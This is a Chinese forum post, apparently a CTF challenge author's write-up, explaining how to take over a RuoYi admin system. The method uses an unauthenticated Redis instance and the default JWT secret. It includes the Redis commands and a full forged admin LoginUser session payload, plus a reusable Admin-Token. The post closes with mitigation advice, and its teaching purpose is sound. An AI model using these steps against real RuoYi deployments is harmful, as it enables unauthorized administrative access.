首页
社区
课程
招聘
[原创]2021 KCTF-WEB 出题思路
发表于: 2021-5-7 11:25 3911

[原创]2021 KCTF-WEB 出题思路

2021-5-7 11:25
3911

打开界面可知是采用若依管理系统搭建的一个默认网站

查看若依的官方文档可知,11fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4Q4x3X3g2J5N6h3!0&6K9g2)9J5k6i4k6A6M7q4)9J5c8Y4u0#2L8%4W2A6i4K6u0V1N6Y4g2W2i4K6u0r3k6r3!0U0N6h3#2W2L8Y4c8Q4x3V1k6Z5K9X3u0K6i4K6u0W2K9s2c8E0L8q4)9J5x3#2)9J5y4f1f1#2i4K6t1#2z5o6N6Q4x3U0f1^5y4W2)9J5y4f1f1#2i4K6t1#2b7e0c8Q4x3U0f1^5y4#2)9J5y4f1f1#2i4K6t1#2b7U0N6Q4x3U0g2m8y4g2)9J5y4f1f1@1i4K6t1#2b7V1c8Q4x3U0f1&6b7H3`.`.

该系统利用了springboot+mysql+redis搭建,通过阅读部署文档

发现目标正好开启了redis的6379端口,并且可以未授权访问

大概了解一下若依的登录逻辑可知,它的用户信息是缓存在redis中的,并且通过JWT进行认证

自己搭建一个环境登录admin账号后通过redis的 keys *可得到一个

猜测系统是通过这个缓存了用户的登录token,通过命令get "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333"

"{\"@type\":\"com.ruoyi.common.core.domain.model.LoginUser\",\"accountNonExpired\":true,\"accountNonLocked\":true,\"browser\":\"Chrome 9\",\"credentialsNonExpired\":true,\"enabled\":true,\"expireTime\":1690354819542,\"ipaddr\":\"117.175.182.182\",\"loginLocation\":\"XX XX\",\"loginTime\":1620354879542,\"os\":\"Windows 10\",\"password\":\"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG\",\"permissions\":Set[\"*:*:*\"],\"token\":\"07aaf192-ca8f-4db7-a6a2-ee81dbf07d58\",\"user\":{\"admin\":true,\"avatar\":\"\",\"createBy\":\"admin\",\"createTime\":1620186031000,\"delFlag\":\"0\",\"dept\":{\"children\":[],\"deptId\":103,\"deptName\":\"\xe7\xa0\x94\xe5\x8f\x91\xe9\x83\xa8\xe9\x97\xa8\",\"leader\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"orderNum\":\"1\",\"params\":{\"@type\":\"java.util.HashMap\"},\"parentId\":101,\"status\":\"0\"},\"deptId\":103,\"email\":\"ry@163.com\",\"loginDate\":1620186031000,\"loginIp\":\"127.0.0.1\",\"nickName\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"params\":{\"@type\":\"java.util.HashMap\"},\"password\":\"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG\",\"phonenumber\":\"15888888888\",\"remark\":\"\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roles\":[{\"admin\":true,\"dataScope\":\"1\",\"deptCheckStrictly\":false,\"flag\":false,\"menuCheckStrictly\":false,\"params\":{\"@type\":\"java.util.HashMap\"},\"roleId\":1,\"roleKey\":\"admin\",\"roleName\":\"\xe8\xb6\x85\xe7\xba\xa7\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roleSort\":\"1\",\"status\":\"0\"}],\"sex\":\"1\",\"status\":\"0\",\"userId\":1,\"userName\":\"admin\"},\"username\":\"admin\"}"

这就是用户缓存的信息了

然后查看我们登录后头为

Admin-Token:
eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjMxMDllYzNmLTZlODQtNDhmNS1iYzFmLTRmMzUxZDIzNjMzMyJ9.qKKRIGTkvIIaUnra_zr9D2iUYqfZPpPUGDnmX8A1OVJ-FDYFUrC-m5iNlg9JP0KSLfN2ho1U_SWnLXTnlRUAfQ

明显采用了JWT的加密方式,解出前面的段为

{"alg":"HS512"}{"login_user_key":"3109ec3f-6e84-48f5-bc1f-4f351d236111"}

可以发现Admin-Token的头的login_user_key和redis里面的login_tokens是一样的


结合着两个地方,我们应该就可以伪造任意登录用户了,方法是直接在redis执行set命令

set login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333 "{\"@type\":\"com.ruoyi.common.core.domain.model.LoginUser\",\"accountNonExpired\":true,\"accountNonLocked\":true,\"browser\":\"Chrome 9\",\"credentialsNonExpired\":true,\"enabled\":true,\"expireTime\":1690354819542,\"ipaddr\":\"117.175.182.182\",\"loginLocation\":\"XX XX\",\"loginTime\":1620354879542,\"os\":\"Windows 10\",\"password\":\"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG\",\"permissions\":Set[\"*:*:*\"],\"token\":\"07aaf192-ca8f-4db7-a6a2-ee81dbf07d58\",\"user\":{\"admin\":true,\"avatar\":\"\",\"createBy\":\"admin\",\"createTime\":1620186031000,\"delFlag\":\"0\",\"dept\":{\"children\":[],\"deptId\":103,\"deptName\":\"\xe7\xa0\x94\xe5\x8f\x91\xe9\x83\xa8\xe9\x97\xa8\",\"leader\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"orderNum\":\"1\",\"params\":{\"@type\":\"java.util.HashMap\"},\"parentId\":101,\"status\":\"0\"},\"deptId\":103,\"email\":\"ry@163.com\",\"loginDate\":1620186031000,\"loginIp\":\"127.0.0.1\",\"nickName\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"params\":{\"@type\":\"java.util.HashMap\"},\"password\":\"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG\",\"phonenumber\":\"15888888888\",\"remark\":\"\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roles\":[{\"admin\":true,\"dataScope\":\"1\",\"deptCheckStrictly\":false,\"flag\":false,\"menuCheckStrictly\":false,\"params\":{\"@type\":\"java.util.HashMap\"},\"roleId\":1,\"roleKey\":\"admin\",\"roleName\":\"\xe8\xb6\x85\xe7\xba\xa7\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roleSort\":\"1\",\"status\":\"0\"}],\"sex\":\"1\",\"status\":\"0\",\"userId\":1,\"userName\":\"admin\"},\"username\":\"admin\"}"

我们猜测JWT的秘钥是默认秘钥因此我们可以直接使用我们自己搭建的环境的Admin-Token头

登录后得到flag:2435_ert3_Wee


写在最后:这道题并非我刻意制造,若依作为一款使用很广的管理系统,本身的认证逻辑就是这样的,我只是让redis外网可以访问,而且设置了弱口令,其他没做修改,这在实战中还是可能遇到的,其实不只是若依,所有用了JWT的系统都可能用的这套逻辑,在实战中可以通过设置比较强的JWT秘钥解决这个问题,本题的问题是在于没有修改JWT的默认秘钥。我们是通过观察推理的方法解决了这道题,实际上是不严谨的,但是对于比赛时间有限不失为最好的方法。有兴趣的同学可以下载若依的源代码看看,就知道整个事情的来龙去脉了,若依这一套框架体系用到了目前比较主流的开发框架,值得研究。


[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回